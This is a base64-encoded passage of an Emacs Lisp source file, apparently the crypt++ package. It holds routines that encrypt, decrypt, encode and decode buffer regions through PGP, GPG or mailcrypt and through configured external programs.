ZmlsZSAoZS5nLiByZWNpcGllbnRzLCBpZiB0aGUgZmlsZSB3YXMgYW4gZW1haWwpIikKCihkZWZ1 biBjcnlwdC1wZ3AtcHViLWNsZWFyLXJlY2lwaWVudHMgKCkKICAiQ2xlYXIgdGhlIHJlY2lwaWVu dCBsaXN0LCBmb3JjaW5nIGNyeXB0KysgdG8gYXNrIHlvdSBmb3IgdGhlIHBlb3BsZSB3aG8ncyBw dWJsaWMga2V5cyB5b3Ugd2lzaCB0byBlbmNyeXB0IHRoZSBtZXNzYWdlIHdpdGgiCiAgKGludGVy YWN0aXZlKQogIChzZXRxIGNyeXB0LXBncC1wdWItcmVjaXBpZW50cyBuaWwpCikKCihkZWZ1biBj cnlwdC1wZ3AtcHViLW5wZ3AtdXNlcmlkICgpCiAgIlJldHVybiBjcnlwdC1wZ3AtcHViLW5wZ3At dXNlcmlkLCBpbml0aWFsaXppbmcgaXQgaWYgbmVjZXNzYXJ5LiIKICAocmVxdWlyZSAncGFtKQog IChpZiAoYW5kIGNyeXB0LXBncC1wdWItbnBncC11c2VyaWQKCSAgIG5wZ3A6KnBhc3MtcGhyYXNl cyopCiAgICAgIGNyeXB0LXBncC1wdWItbnBncC11c2VyaWQKICAgIChzZXRxIGNyeXB0LXBncC1w dWItbnBncC11c2VyaWQKCSAgKGxpc3QKCSAgIChpZiBjcnlwdC1wZ3AtcHViLW5wZ3Ata2V5LWlk CgkgICAgICAgKG5wZ3A6Z2V0LWtleS1ieS1rZXktaWQgY3J5cHQtcGdwLXB1Yi1ucGdwLWtleS1p ZCkKCSAgICAgKHBhbTpyZWFkLW5hbWUta2V5ICh1c2VyLWZ1bGwtbmFtZSkpKSkpKSkKCihkZWZ1 biBjcnlwdC1wZ3AtcHViLW1haWxjcnlwdC11c2VyaWQgKCkKICAiRG8gdGhlIHJpZ2h0IHRoaW5n LiIKICAocmVxdWlyZSAnbWFpbGNyeXB0KQogIChjb25kCiAgICgoZXEgY3J5cHQtcGdwLXB1Yi1z dWItbGlicmFyeSAncGdwKQogICAgKGNhciAobWMtcGdwLWxvb2t1cC1rZXkgbWMtcGdwLXVzZXIt aWQpKSkKICAgKChlcSBjcnlwdC1wZ3AtcHViLXN1Yi1saWJyYXJ5ICdwZ3A1MCkKICAgIChjYXIg KG1jLXBncDUwLWxvb2t1cC1rZXkgbWMtcGdwNTAtdXNlci1pZCkpKQogICAoKGVxIGNyeXB0LXBn cC1wdWItc3ViLWxpYnJhcnkgJ2dwZykKICAgIChjYXIgKG1jLWdwZy1sb29rdXAta2V5IG1jLWdw Zy11c2VyLWlkKSkpCiAgICh0IChlcnJvciAiY3J5cHQtcGdwLXB1Yi1tYWlsY3J5cHQtdXNlcmlk OiBubyBwZ3Agc3ViLWxpYnJhcnkuIikpKSkKCiAgCihkZWZ1biBjcnlwdC1wZ3AtcHViLWxvYWQt bWFpbGNyeXB0ICgpCiAgKHJlcXVpcmUgJ21haWxjcnlwdCkKICA7OyBpY2sgaWNrIGljayB0aGlz IGNvZGUgbmVlZHMgdG8gYmUgY2xlYW5lZCB1cAogIChjb25kCiAgICgobnVsbCAoZXEgY3J5cHQt cGdwLXB1Yi1saWJyYXJ5ICdtYWlsY3J5cHQpKQogICAgdCkKICAgKChlcSBjcnlwdC1wZ3AtcHVi LXN1Yi1saWJyYXJ5ICdwZ3ApCiAgICAobG9hZC1saWJyYXJ5ICJtYy1wZ3AiKSkKICAgKChlcSBj cnlwdC1wZ3AtcHViLXN1Yi1saWJyYXJ5ICdwZ3A1MCkKICAgIChsb2FkLWxpYnJhcnkgIm1jLXBn cDUiKSkKICAgKChlcSBjcnlwdC1wZ3AtcHViLXN1Yi1saWJyYXJ5ICdncGcpCiAgICAobG9hZC1s aWJyYXJ5ICJtYy1ncGciKSkKICAgKHQgKGVycm9yICJjcnlwdC1wZ3AtcHViLWxvYWQtbWFpbGNy eXB0OiBubyBwZ3Agc3ViLWxpYnJhcnkuIikpKSkKCihkZWZ1biBjcnlwdC1wZ3AtcHViLWRlY3J5 cHQtcmVnaW9uIChzdGFydCBlbmQpCiAgKGNvbmQKICAgKChlcSBjcnlwdC1wZ3AtcHViLWxpYnJh cnkgJ25wZ3ApIChucGdwOmRlY3J5cHQtcmVnaW9uIHN0YXJ0IGVuZCkpCiAgICgoZXEgY3J5cHQt cGdwLXB1Yi1saWJyYXJ5ICdtYWlsY3J5cHQpCiAgICAoY3J5cHQtcGdwLXB1Yi1sb2FkLW1haWxj cnlwdCkKICAgIChjb25kCiAgICAgKChlcSBjcnlwdC1wZ3AtcHViLXN1Yi1saWJyYXJ5ICdwZ3Ap CiAgICAgIChtYy1wZ3AtZGVjcnlwdC1yZWdpb24gc3RhcnQgZW5kKSkKICAgICAoKGVxIGNyeXB0 LXBncC1wdWItc3ViLWxpYnJhcnkgJ3BncDUwKQogICAgICAobWMtcGdwNTAtZGVjcnlwdC1yZWdp b24gc3RhcnQgZW5kKSkKICAgICAoKGVxIGNyeXB0LXBncC1wdWItc3ViLWxpYnJhcnkgJ2dwZykK ICAgICAgKG1jLWdwZy1kZWNyeXB0LXJlZ2lvbiBzdGFydCBlbmQpKQogICAgICh0IChlcnJvciAi Y3J5cHQtcGdwLXB1Yi1kZWNyeXB0LXJlZ2lvbjogbm8gZGVjcnlwdGlvbiBzdWItbGlicmFyeS4i KSkpKQogICAodCAoZXJyb3IgImNyeXB0LXBncC1wdWItZGVjcnlwdC1yZWdpb246IG5vIGRlY3J5 cHRpb24gbGlicmFyeS4iKSkpKQoKKGRlZnVuIGNyeXB0LXBncC1wdWItZW5jcnlwdC1yZWdpb24g KHN0YXJ0IGVuZCkKICAoY29uZAogICAoKGVxIGNyeXB0LXBncC1wdWItbGlicmFyeSAnbnBncCkK ICAgIChucGdwOmVuY3J5cHQtcmVnaW9uIChjcnlwdC1wZ3AtcHViLW5wZ3AtdXNlcmlkKSBzdGFy dCBlbmQpKQogICAoKGVxIGNyeXB0LXBncC1wdWItbGlicmFyeSAnbWFpbGNyeXB0KQogICAgKGNy eXB0LXBncC1wdWItbG9hZC1tYWlsY3J5cHQpCiAgICAobGV0ICgob2xkLXNpZ24gbWMtcGdwLWFs d2F5cy1zaWduKQoJICBvbGQtY29tbWVudCByZWNpcGllbnRzKQogICAgICAoaWYgY3J5cHQtcGdw LXB1Yi1tdWx0aXJlY2lwaWVudHMKCSAgKGlmIChlcSAobGVuZ3RoIGNyeXB0LXBncC1wdWItcmVj aXBpZW50cykgMCkKCSAgICAgIChwcm9nbgoJCShpZiAoeS1vci1uLXAKCQkgICAgIChjb25jYXQg IkVuY3J5cHQgd2l0aCB5b3VyIHB1YmxpYyBrZXkgKCIKCQkJICAgICAgKGNyeXB0LXBncC1wdWIt bWFpbGNyeXB0LXVzZXJpZCkKCQkJICAgICAgIik/ICIpKQoJCSAgICAoc2V0cSBjcnlwdC1wZ3At cHViLXJlY2lwaWVudHMKCQkJICAoY29uY2F0IChjcnlwdC1wZ3AtcHViLW1haWxjcnlwdC11c2Vy aWQpICIsIikpCgkJICAoc2V0cSBjcnlwdC1wZ3AtcHViLXJlY2lwaWVudHMgIiIpKQoJCShzZXRx IGNyeXB0LXBncC1wdWItcmVjaXBpZW50cwoJCSAgICAgIChjb25jYXQgY3J5cHQtcGdwLXB1Yi1y ZWNpcGllbnRzCgkJCSAgICAgIChyZWFkLXN0cmluZwoJCQkgICAgICAgIlJlY2lwaWVudHM6ICIg bmlsIGNyeXB0LXBncC1wdWItcmVjaXBpZW50LWhpc3RvcnkpKSkpKQoJKHNldHEgY3J5cHQtcGdw LXB1Yi1yZWNpcGllbnRzIChjcnlwdC1wZ3AtcHViLW1haWxjcnlwdC11c2VyaWQpKSkKICAgICAg KHNldHEgbWMtcGdwLWFsd2F5cy1zaWduICduZXZlcgoJICAgIHJlY2lwaWVudHMgKG1jLXNwbGl0 ICJcXChbIFx0XG5dKixbIFx0XG5dKlxcKSsiIGNyeXB0LXBncC1wdWItcmVjaXBpZW50cykpCiAg ICAgIChjb25kCiAgICAgICAoKGVxIGNyeXB0LXBncC1wdWItc3ViLWxpYnJhcnkgJ3BncCkKCShz ZXRxIG9sZC1jb21tZW50IG1jLXBncC1jb21tZW50CgkgICAgICBtYy1wZ3AtY29tbWVudCBuaWwp CgkobWMtcGdwLWVuY3J5cHQtcmVnaW9uIHJlY2lwaWVudHMgc3RhcnQgZW5kCgkJCSAgICAgICAo Y3J5cHQtcGdwLXB1Yi1tYWlsY3J5cHQtdXNlcmlkKSBuaWwpCgkoc2V0cSBtYy1wZ3AtY29tbWVu dCBvbGQtY29tbWVudCkpCiAgICAgICAoKGVxIGNyeXB0LXBncC1wdWItc3ViLWxpYnJhcnkgJ3Bn cDUwKQoJKHNldHEgb2xkLWNvbW1lbnQgbWMtcGdwNTAtY29tbWVudAoJICAgICAgbWMtcGdwNTAt Y29tbWVudCBuaWwpCgkobWMtcGdwNTAtZW5jcnlwdC1yZWdpb24gcmVjaXBpZW50cyBzdGFydCBl bmQKCQkJICAgICAgIChjcnlwdC1wZ3AtcHViLW1haWxjcnlwdC11c2VyaWQpIG5pbCkKCShzZXRx IG1jLXBncDUwLWNvbW1lbnQgb2xkLWNvbW1lbnQpKQogICAgICAgKChlcSBjcnlwdC1wZ3AtcHVi LXN1Yi1saWJyYXJ5ICdncGcpCgkoc2V0cSBvbGQtY29tbWVudCBtYy1ncGctY29tbWVudAoJICAg ICAgbWMtZ3BnLWNvbW1lbnQgbmlsKQoJKG1jLWdwZy1lbmNyeXB0LXJlZ2lvbiByZWNpcGllbnRz IHN0YXJ0IGVuZAoJCQkgICAgICAgKGNyeXB0LXBncC1wdWItbWFpbGNyeXB0LXVzZXJpZCkgbmls KQoJKHNldHEgbWMtZ3BnLWNvbW1lbnQgb2xkLWNvbW1lbnQpKQogICAgICAgKHQgKGVycm9yICJj cnlwdC1wZ3AtcHViLWRlY3J5cHQtcmVnaW9uOiBubyBlbmNyeXB0aW9uIHN1Yi1saWJyYXJ5LiIp KSkKICAgICAgKHNldHEgbWMtcGdwLWFsd2F5cy1zaWduIG9sZC1zaWduKSkpCiAgICh0IChlcnJv ciAiY3J5cHQtcGdwLXB1Yi1lbmNyeXB0LXJlZ2lvbjogbm8gZW5jcnlwdGlvbiBsaWJyYXJ5LiIp KSkpCgooZGVmdW4gY3J5cHQtZW5jcnlwdC1yZWdpb24gKHN0YXJ0IGVuZCBrZXkgJm9wdGlvbmFs IGRlY3J5cHQpCiAgIkVuY3J5cHQgcmVnaW9uIFNUQVJUIHRvIEVORCB1c2luZyBLRVkgYW5kIGBj cnlwdC1lbmNyeXB0aW9uLXR5cGUnLiAgV2hlbgpjYWxsZWQgaW50ZXJhY3RpdmVseSBTVEFSVCBh bmQgRU5EIGRlZmF1bHQgdG8gcG9pbnQgYW5kIG1hcmsgXChTVEFSVCBiZWluZyB0aGUKbGVzc2Vy IG9mIHRoZSB0d29cKSwgYW5kIEtFWSBpcyBwcm9tcHRlZCBmb3IuICBXaXRoIG9wdGlvbmFsIERF Q1JZUFQgbm9uLW5pbCwKZGVjcnlwdGlvbiBpcyBkb25lLiIKCiAgKGludGVyYWN0aXZlCiAgIChs ZXQgKGRlY3J5cHQpCiAgICAgKGJhcmYtaWYtYnVmZmVyLXJlYWQtb25seSkKICAgICAobGlzdCAo cmVnaW9uLWJlZ2lubmluZykKICAgICAgICAgICAocmVnaW9uLWVuZCkKICAgICAgICAgICAoY3J5 cHQtcmVhZC1zdHJpbmctbm8tZWNobwogICAgICAgICAgICAoY29uY2F0IChpZiAoc2V0cSBkZWNy eXB0ICh5LW9yLW4tcCAiRGVjcnlwdCByZWdpb24/ICIpKSAiRGUiICJFbiIpCiAgICAgICAgICAg ICAgICAgICAgImNyeXB0IGJ1ZmZlciB1c2luZyBrZXk6ICIpCiAgICAgICAgICAgIDs7IERvIG5v dCBjb25maXJtIG9uIGRlY3J5cHRpbmcgcmVnaW9uLgogICAgICAgICAgICAoaWYgKG5vdCBkZWNy eXB0KSBjcnlwdC1jb25maXJtLXBhc3N3b3JkKSkKICAgICAgICAgICBkZWNyeXB0KSkpCgogIChj cnlwdC1zYXZlLXBvaW50CgogICA7OyBXZSBkZWZpbmUgdGhlIFBST0dSQU0gYXMgdGhlIGVuY3J5 cHRpb24gcHJvZ3JhbSBvciBkZWNyeXB0aW9uIHByb2dyYW0KICAgOzsgbGlzdGVkIGZvciBgY3J5 cHQtZW5jcnlwdGlvbi10eXBlJyBvZiBgY3J5cHQtZW5jcnlwdGlvbi1hbGlzdC4nICBUaGVzZQog ICA7OyBzaG91bGQgYmUganVzdCB0aGUgbmFtZSBvZiB0aGUgZXhlY3V0YWJsZSBhbmQgc2hvdWxk IF9ub3RfIGNvbnRhaW4gYW55CiAgIDs7IGFyZ3VtZW50cy4gIGAoY2FsbC1wcm9jZXNzLXJlZ2lv biknIHdvdWxkIGJlIGNvbmZ1c2VkIGlmIHdlIHRyaWVkIHRvCiAgIDs7IHBhc3MgdGhlIGFyZ3Vt ZW50cyBhcyBwYXJ0IG9mIHRoZSBQUk9HUkFNLiAgVGhlIGFyZ3VtZW50cyBhcmUgcGFzc2VkCiAg IDs7IHRocm91Z2ggdGhlIGVuY3J5cHRpb24gYXJncyBvciBkZWNyeXB0aW9uIGFyZ3MgbGlzdGVk IGZvcgogICA7OyBgY3J5cHQtZW5jcnlwdGlvbi10eXBlJyBvZiBgY3J5cHQtZW5jcnlwdGlvbi1h bGlzdC4nCgogICA7OyBUaGFua3MgdG8gSm9lIElsYWNxdWEgPHNwaWtlQHdvcmxkLnN0ZC5jb20+ IGFuZCBvdGhlcnMgZm9yIHBvaW50aW5nIG91dAogICA7OyBhbiBlcnJvciB0aGF0IG9jY3VycyB3 aXRoIHNvbWUgZW5jcnlwdGlvbiBwcm9ncmFtcyAoZS5nLiwgdGhlIGNyeXB0IGZyb20KICAgOzsg U3VuIE1pY3Jvc3lzdGVtcywgSFBVWC04LCBhbmQgQlNEKSBpZiBgYXJncycgaXMgYCIiLicgIFRo aXMgd2lsbCBhbGxvdwogICA7OyBuaWwgdmFsdWVzIGFuZCBsaXN0cyBvZiBzdHJpbmdzIGZvciBh cmd1bWVudC4KCiAgIChsZXQgKChjb2Rpbmctc3lzdGVtLWZvci13cml0ZSAnbm8tY29udmVyc2lv bikKCSAoY29kaW5nLXN5c3RlbS1mb3ItcmVhZCAnbm8tY29udmVyc2lvbikKCSBwcm9nIGFyZ3Mp CgogICAgIDs7IEdldCB0aGUgcHJvcGVyIHByb2dyYW0gYW5kIGFyZ3VtZW50cy4KICAgICAoaWYg ZGVjcnlwdAogICAgICAgICAoc2V0cSBwcm9nIChjcnlwdC1nZXQtZGVjb2RpbmctcHJvZ3JhbSBj cnlwdC1lbmNyeXB0aW9uLXR5cGUpCiAgICAgICAgICAgICAgIGFyZ3MgKGNyeXB0LWdldC1kZWNv ZGluZy1hcmdzIGNyeXB0LWVuY3J5cHRpb24tdHlwZSkpCiAgICAgICAoc2V0cSBwcm9nIChjcnlw dC1nZXQtZW5jb2RpbmctcHJvZ3JhbSBjcnlwdC1lbmNyeXB0aW9uLXR5cGUpCiAgICAgICAgICAg ICBhcmdzIChjcnlwdC1nZXQtZW5jb2RpbmctYXJncyBjcnlwdC1lbmNyeXB0aW9uLXR5cGUpKSkK CiAgICAgOzsgRWl0aGVyIHBhc3MgZW5jcnlwdGlvbiBrZXkgYXMgZmlyc3QgbGluZSBvZiByZWdp b24sIG9yCiAgICAgOzsgYXMgbGFzdCBhcmd1bWVudCB0byBwcm9ncmFtLgogICAgIChjb25kCiAg ICAgICgoY3J5cHQtZ2V0LWVuY3J5cHRpb24ta2V5LXN0ZGluIGNyeXB0LWVuY3J5cHRpb24tdHlw ZSkKCSAocHJvZ24KCSAgIChnb3RvLWNoYXIgc3RhcnQpCgkgICAoaW5zZXJ0IGtleSAiXG4iKQoJ ICAgKHNldHEgZW5kICgrIGVuZCAobGVuZ3RoIGtleSkgMSkpKSkKICAgICAgKChsaXN0cCBhcmdz KQogICAgICAgKHNldHEgYXJncyAoYXBwZW5kIGFyZ3MgKGxpc3Qga2V5KSkpKQogICAgICA7OyBu aWwgb3IgIiIgYXJncyAtIGRvbid0IHBhc3MuCiAgICAgICgob3IgKG5vdCBhcmdzKSAoZXF1YWwg IiIgYXJncykpCiAgICAgICAoc2V0cSBhcmdzIGtleSkpCiAgICAgICh0CiAgICAgICAoc2V0cSBh cmdzIChjb25jYXQgYXJncyAiICIga2V5KSkpKQoKICAgICA7OyBDaGVjayBhcmd1bWVudHMuCiAg ICAgKGNvbmQKCiAgICAgIDs7IHNwZWNpYWwtY2FzZSBwZ3AtcHViCiAgICAgIDs7IChZZXMsIHRo aXMgaGFjayBpcyBncm9zcy4pCiAgICAgICgoZXEgY3J5cHQtZW5jcnlwdGlvbi10eXBlICdwZ3At cHViKQogICAgICAgKGlmIGRlY3J5cHQKCSAgIChjcnlwdC1wZ3AtcHViLWRlY3J5cHQtcmVnaW9u IHN0YXJ0IGVuZCkKCSAoY3J5cHQtcGdwLXB1Yi1lbmNyeXB0LXJlZ2lvbiBzdGFydCBlbmQpKSkK CiAgICAgIDsobWVzc2FnZSAic3RhcnQ9JWQgZW5kPSVkIHByb2c9JXMgYXJncz0lcyIgc3RhcnQg ZW5kIHByb2cgYXJncykKICAgICAgOzsgQ2hlY2sgaWYgdGhlIGFyZ3MgYXJlIGluIHRoZSBmb3Jt IG9mIGEgbGlzdCAtIG11c3QgdXNlIGFwcGx5LgogICAgICAoKGxpc3RwIGFyZ3MpCiAgICAgICAo YXBwbHkgJ2NhbGwtcHJvY2Vzcy1yZWdpb24KICAgICAgICAgICAgICAoYXBwZW5kIChsaXN0IHN0 YXJ0IGVuZCBwcm9nIHQgKGxpc3QgdCBuaWwpIG5pbCkgYXJncykpKQoKICAgICAgOzsgRGVmYXVs dCAtIGp1c3QgYSBub24tbnVsbCBzdHJpbmcuCiAgICAgICh0CiAgICAgICAoY2FsbC1wcm9jZXNz LXJlZ2lvbiBzdGFydCBlbmQgcHJvZyB0ICcodCBuaWwpIG5pbCBhcmdzKSkpKSkpCgoKKGRlZnVu IGNyeXB0LWVuY3J5cHQtYnVmZmVyIChrZXkgJm9wdGlvbmFsIGRlY3J5cHQgYnVmZmVyKQoKICA7 OyBVc2UgS0VZIHRvIGVuY3J5cHQgY3VycmVudCBidWZmZXIgYW5kIHdpdGggb3B0aW9uYWwgREVD UllQVCBkZWNyeXB0LgogIDs7IFdpdGggb3B0aW9uYWwgQlVGRkVSLCBlbmNyeXB0IG9yIGRlY3J5 cHQgdGhhdCBidWZmZXIuICBOb3QgbWVhbnQgdG8gYmUKICA7OyBjYWxsZWQgaW50ZXJhY3RpdmVs eSwgdG9nZ2xlIGBjcnlwdC1lbmNyeXB0ZWQtbW9kZScgdG8gZW5jcnlwdCBhbiBlbnRpcmUKICA7 OyBidWZmZXIuCgogIChvciBidWZmZXIgKHNldHEgYnVmZmVyIChjdXJyZW50LWJ1ZmZlcikpKQog IChzYXZlLWV4Y3Vyc2lvbiAoc2V0LWJ1ZmZlciBidWZmZXIpCiAgICAgICAgICAgICAgICAgIChj cnlwdC1lbmNyeXB0LXJlZ2lvbiAocG9pbnQtbWluKSAocG9pbnQtbWF4KSBrZXkgZGVjcnlwdCkp KQoKDAo7Ozs7IEVOQ09ESU5HCgooZGVmdW4gY3J5cHQtZW5jb2RlLXJlZ2lvbiAoc3RhcnQgZW5k ICZvcHRpb25hbCBkZWNvZGUpCgogICJFbmNvZGUgcmVnaW9uIFNUQVJUIHRvIEVORC4gIFdoZW4g Y2FsbGVkIGludGVyYWN0aXZlbHkgU1RBUlQgYW5kIEVORApkZWZhdWx0IHRvIHBvaW50IGFuZCBt YXJrIFwoU1RBUlQgYmVpbmcgdGhlIGxlc3NlciBvZiB0aGUgdHdvXCkuICBXaXRoCm9wdGlvbmFs IERFQ09ERSBub24tbmlsLCBkZWNvZGluZyBpcyBkb25lLgoKSWYgZW5jb2RpbmcgaXMgYXR0ZW1w dGVkLCB0aGVuIGNoZWNrcyBmb3IgY29ycmVjdCBtYWdpYyBudW1iZXIgYXQgc3RhcnQgb2YKbmV3 bHktZW5jb2RlZCByZWdpb24uICBJZiBub3QgZm91bmQsIHRoZW4gc2VhcmNoZXMgYW5kIGRlbGV0 ZXMgYSB1c2VyLWRlZmluZWQKcmVnZXhwLCBvciBleGVjdXRlcyBhIHVzZXItZGVmaW5lZCBsaXNw IGV4cHJlc3Npb24sIGFzIGRlZmluZWQgaW4KYGNyeXB0LWVuY29kaW5nLWFsaXN0LCcgYW5kIGNo ZWNrcyBhZ2FpbiBmb3IgbWFnaWMgbnVtYmVyLiIKCiAgKGludGVyYWN0aXZlICIqclxuUCIpCgog IDs7IElmIGNhbGxlZCBpbnRlcmFjdGl2ZWx5IHRoZW4gd2UgbWF5IG5lZWQgdG8gZGV0ZXJtaW5l IHRoZSBlbmNvZGluZyB0eXBlLgogIChpZiAoYW5kIChpbnRlcmFjdGl2ZS1wKSAobm90IGNyeXB0 LWJ1ZmZlci1lbmNvZGluZy10eXBlKSkKICAgICAgKGNyeXB0LXJlYWQtZW5jb2RpbmctdHlwZSkp CgogIChjcnlwdC1zYXZlLXBvaW50CgogICA7OyBXZSBkZWZpbmUgdGhlIFBST0dSQU0gYXMgYHNo ZWxsLWZpbGUtbmFtZScgYW5kIGhhdmUgaXQgY2FsbCB0aGUgZW5jb2RpbmcKICAgOzsgb3IgZGVj b2RpbmcgcHJvZ3JhbSB3aXRoIHRoZSBhcmd1bWVudHMuCgogICAobGV0ICgoY29kaW5nLXN5c3Rl bS1mb3Itd3JpdGUgJ25vLWNvbnZlcnNpb24pCgkgKGNvZGluZy1zeXN0ZW0tZm9yLXJlYWQgJ25v LWNvbnZlcnNpb24pCiAgICAgICAgIHByb2cgYXJncykKCiAgICAgOzsgR2V0IHRoZSBwcm9wZXIg cHJvZ3JhbSBhbmQgYXJndW1lbnRzLgogICAgIChpZiBkZWNvZGUKICAgICAgICAgKHNldHEgcHJv ZyAoY3J5cHQtZ2V0LWRlY29kaW5nLXByb2dyYW0gY3J5cHQtYnVmZmVyLWVuY29kaW5nLXR5cGUp CiAgICAgICAgICAgICAgIGFyZ3MgKGNyeXB0LWdldC1kZWNvZGluZy1hcmdzIGNyeXB0LWJ1ZmZl ci1lbmNvZGluZy10eXBlKSkKICAgICAgIChzZXRxIHByb2cgKGNyeXB0LWdldC1lbmNvZGluZy1w cm9ncmFtIGNyeXB0LWJ1ZmZlci1lbmNvZGluZy10eXBlKQogICAgICAgICAgICAgYXJncyAoY3J5 cHQtZ2V0LWVuY29kaW5nLWFyZ3MgY3J5cHQtYnVmZmVyLWVuY29kaW5nLXR5cGUpKSkKCiAgICAg KGNvbmQKCiAgICAgIDs7IHByb2cgaXMgYSBzdHJpbmc/CiAgICAgICgoc3RyaW5ncCBwcm9nKQoK ICAgICAgIDs7IENoZWNrIGFyZ3VtZW50cy4KICAgICAgIChjb25kCgogICAgICAgIDs7IENoZWNr IGlmIHRoZSBhcmdzIGFyZSBpbiB0aGUgZm9ybSBvZiBhIGxpc3QsIHdpbGwgY2F0Y2ggJ25pbC4K ICAgICAgICAoKGxpc3RwIGFyZ3MpCgogICAgICAgICA7OyBDYXQgYWxsIHRoZSBzdHJpbmdzIHRv Z2V0aGVyLgogICAgICAgICAod2hpbGUgYXJncwogICAgICAgICAgIChzZXRxIHByb2cgKGNvbmNh dCBwcm9nICIgIiAoY2FyIGFyZ3MpKQogICAgICAgICAgICAgICAgIGFyZ3MgKGNkciBhcmdzKSkp KQoKICAgICAgICA7OyBDaGVjayBpZiBhIG5vbi1udWxsIHN0cmluZy4KICAgICAgICAoKGFuZCAo bm90IChzdHJpbmc9ICIiIGFyZ3MpKQogICAgICAgICAgICAgIChub3QgKGVxIGFyZ3MgdCkpKSA7 IGp1c3QgaW4gY2FzZS4uLgogICAgICAgICAoc2V0cSBwcm9nIChjb25jYXQgcHJvZyAiICIgYXJn cykpKSkKCiAgICAgICA7KG1lc3NhZ2UgInN0YXJ0PSVkIGVuZD0lZCBwcm9nK2FyZ3M9JXMiIHN0 YXJ0IGVuZCBwcm9nKQogICAgICAgOyhtZXNzYWdlICJidWZmZXIgYmVmb3JlOlxuJXNcbi0tZW5k IiAoYnVmZmVyLXN0cmluZykpCiAgICAgICAoY2FsbC1wcm9jZXNzLXJlZ2lvbiBzdGFydCBlbmQg c2hlbGwtZmlsZS1uYW1lIHQgJyh0IG5pbCkgbmlsCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICBzaGVsbC1jb21tYW5kLXN3aXRjaCBwcm9nKQogICAgICAgOyhtZXNzYWdlICJidWZmZXIgYWZ0 ZXI6XG4lc1xuLS1lbmQiIChidWZmZXItc3RyaW5nKSkKICAgICAgKQoKICAgICAgOzsgT3RoZXJ3 aXNlIHRyeSBhbmQgZXZhbCBpdC4KICAgICAgKHQKICAgICAgIDsobWVzc2FnZSAiZXZhbCBwcm9n PSVzIGFyZ3M9JXMiIHByb2cgYXJncykKICAgICAgIChldmFsIChpZiBhcmdzCiAgICAgICAgICAg ICAgICAgKGxpc3QgcHJvZyBzdGFydCBlbmQgYXJncykKICAgICAgICAgICAgICAgKGxpc3QgcHJv ZyBzdGFydCBlbmQpKSkpKSkKCiAgIDs7IEVuY29kaW5nIG9yIGRlY29kaW5nIHJlZ2lvbj8KICAg KGlmIChub3QgZGVjb2RlKQoKICAgICAgIDs7IENoZWNrIGlmIGVuY29kZWQgcmVnaW9uIHN0YXJ0 cyB3aXRoIG1hZ2ljIG51bWJlci4KICAgICAgIChsZXQgKChtYWdpYyAoY3J5cHQtZ2V0LW1hZ2lj LXJlZ2V4cCBjcnlwdC1idWZmZXItZW5jb2RpbmctdHlwZSkpCiAgICAgICAgICAgICAoY2xlYW4g KGNyeXB0LWdldC1jbGVhbnVwLXJlZ2V4cCBjcnlwdC1idWZmZXItZW5jb2RpbmctdHlwZSkpCiAg ICAgICAgICAgICAoY2FzZS1mb2xkLXNlYXJjaCBuaWwpKQoKICAgICAgICAgOzsgVG9wIG9mIHJl Z2lvbi4KICAgICAgICAgKGdvdG8tY2hhciBzdGFydCkKCiAgICAgICAgIDs7IENoZWNrIGZvciBt YWdpYyBudW1iZXIuCiAgICAgICAgIChpZiAobm90IChsb29raW5nLWF0IG1hZ2ljKSkKCiAgICAg ICAgICAgICA7OyBNYWdpYyBudW1iZXIgbm90IHRoZXJlLgoKICAgICAgICAgICAgIDs7IFNvbWUg Y29tcHJlc3Npb24gcHJvZ3JhbXMgcHJvZHVjZSBhbiAoaW5hbmUpIHN0YW5kYXJkIGVycm9yCiAg ICAgICAgICAgICA7OyBtZXNzYWdlIHRoYXQgZ2V0cyBwaXBlZCBpbnRvIHRoZSBidWZmZXIuICBG b3IgZXhhbXBsZSwgc29tZQogICAgICAgICAgICAgOzsgdmVyc2lvbnMgb2YgY29tcGFjdCBvdXRw dXQgIkNvbXByZXNzaW9uIDogMzUuNTAlLiIgIFRoZXJlIG1heQogICAgICAgICAgICAgOzsgYmUg c29tZSB3YXkgdG8gY2xlYW4gdXAgYnVmZmVyIGFuZCBjaGVjayBhZ2Fpbi4KCiAgICAgICAgICAg ICAoY29uZAoKICAgICAgICAgICAgICA7OyBObyBtZWNoYW5pc20gdG8gY2xlYW4gdXAgLSBmYWls ZWQuCiAgICAgICAgICAgICAgKChlcSBjbGVhbiBuaWwpCiAgICAgICAgICAgICAgIChlcnJvciAi RW5jb2RpbmcgZmFpbGVkISIpKQoKICAgICAgICAgICAgICA7OyBDbGVhbnVwIGEgcmVnZXhwIHN0 cmluZz8KICAgICAgICAgICAgICAoKHN0cmluZ3AgY2xlYW4pCgogICAgICAgICAgICAgICA7OyBJ cyByZWdleHAgdGhlcmU/CiAgICAgICAgICAgICAgIChpZiAobG9va2luZy1hdCBjbGVhbikKCiAg ICAgICAgICAgICAgICAgICAocHJvZ24KICAgICAgICAgICAgICAgICAgICAgOzsgRGVsZXRlIHRo ZSBtYXRjaC4KICAgICAgICAgICAgICAgICAgICAgKGRlbGV0ZS1yZWdpb24gKG1hdGNoLWJlZ2lu bmluZyAwKSAobWF0Y2gtZW5kIDApKQoKICAgICAgICAgICAgICAgICAgICAgOzsgQ2hlY2sgZm9y IG1hZ2ljIGFnYWluLgogICAgICAgICAgICAgICAgICAgICAoaWYgKG5vdCAobG9va2luZy1hdCBt YWdpYykpCiAgICAgICAgICAgICAgICAgICAgICAgICAoZXJyb3IgIkVuY29kaW5nIGZhaWxlZCEi KSkpKSkKCiAgICAgICAgICAgICAgOzsgRGVmYXVsdDogZXZhbHVhdGUgYSBsaXNwIGV4cHJlc3Np b24gYW5kIGNoZWNrIGFnYWluLgogICAgICAgICAgICAgICh0IChldmFsIGNsZWFuKQogICAgICAg ICAgICAgICAgIChpZiAobm90IChsb29raW5nLWF0IG1hZ2ljKSkKICAgICAgICAgICAgICAgICAg ICAgKGVycm9yICJFbmNvZGluZyBmYWlsZWQhIikpKSkpKSkpKQoKKGRlZnVuIGNyeXB0LWVuY29k ZS1idWZmZXIgKCZvcHRpb25hbCBkZWNvZGUgYnVmZmVyKQoKICA7OyBFbmNvZGUgY3VycmVudCBi dWZmZXIuICBXaXRoIG9wdGlvbmFsIERFQ09ERSBub24tbmlsIGRlY29kZSBhbmQgb3B0aW9uYWwK ICA7OyBCVUZGRVIsIGVuY29kZSBvciBkZWNvZGUgdGhhdCBidWZmZXIuICBOb3QgbWVhbnQgdG8g YmUgY2FsbGVkCiAgOzsgaW50ZXJhY3RpdmVseSwgdG9nZ2xlIGBjcnlwdC1lbmNvZGVkLW1vZGUn 